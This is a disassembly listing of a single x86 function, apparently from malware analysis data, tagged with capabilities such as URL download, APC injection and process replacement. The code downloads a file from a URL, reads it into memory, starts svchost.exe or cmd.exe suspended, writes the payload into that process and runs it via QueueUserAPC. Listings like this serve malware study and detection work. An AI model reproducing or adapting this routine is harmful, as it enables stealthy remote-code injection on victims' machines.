Function at 0x455b70
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Delete file
Download url
Get common file path
Get file size
Inject apc
Read file on windows
Receive data
Resume thread
Terminate process
Use process replacement

Disassembly:
sub esp, 0x16c
push ebx
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x79]
mov byte [esp + 0x78], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor ebx, ebx
stosb byte es:[edi], al
push ebx
lea eax, [esp + 0x7c]
push 0x1a
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov edi, str.XMind.txt
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x78]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x78]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [esp + 0x180]
push ebx
lea ecx, [esp + 0x7c]
push ebx
push ecx
push edx
push ebx
call sub.urlmon.dll_URLDownloadToFileA
push ebx
push ebx
push 3
push ebx
push ebx
lea eax, [esp + 0x8c]
push SysReAllocString
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push ebx
cmp edi, 0xffffffff
jne 0x455c20
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push 4
push 0x3000
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea ecx, [esp + 0x2c]
push ebx
mov ebp, eax
push ecx
push esi
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push ebp
call fcn.00455b30
lea edx, [esp + 0x38]
lea eax, [esp + 0x2c]
push edx
lea ecx, [esp + 0x34]
push eax
push ecx
call fcn.00455ae0
mov eax, dword [esp + 0x3c]
add esp, 0x14
cmp eax, 0xa
jne 0x455ce7
cmp dword [esp + 0x24], ebx
jne 0x455ce7
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x38]
mov dword [esp + 0x34], ebx
rep stosd dword es:[edi], eax
lea eax, [esp + 0x14]
lea ecx, [esp + 0x34]
push eax
push ecx
push ebx
push ebx
xor edx, edx
push 4
push ebx
mov dword [esp + 0x30], edx
push ebx
push ebx
mov dword [esp + 0x3c], edx
push ebx
push str.C:WindowsSystem32_svchost.exe
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x48], edx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, dword [esp + 0x14]
mov edi, dword [esp + 0x18]
push 0x40
push 0x1000
push esi
push ebx
push eax
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edx, dword [esp + 0x10]
push 0
mov ebx, eax
push esi
push ebp
push ebx
push edx
jmp 0x455d4d
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x38]
mov dword [esp + 0x34], ebx
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
lea edx, [esp + 0x34]
push ecx
push edx
push ebx
push ebx
push 4
push ebx
mov dword [esp + 0x30], eax
push ebx
push ebx
mov dword [esp + 0x3c], eax
push ebx
push str.C:WindowsSystem32cmd.exe
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x48], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, dword [esp + 0x14]
mov edi, dword [esp + 0x18]
push 0x40
push 0x1000
push esi
push ebx
push eax
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
mov ebx, eax
mov eax, dword [esp + 0x14]
push esi
push ebp
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_QueueUserAPC]
push edi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x16c
ret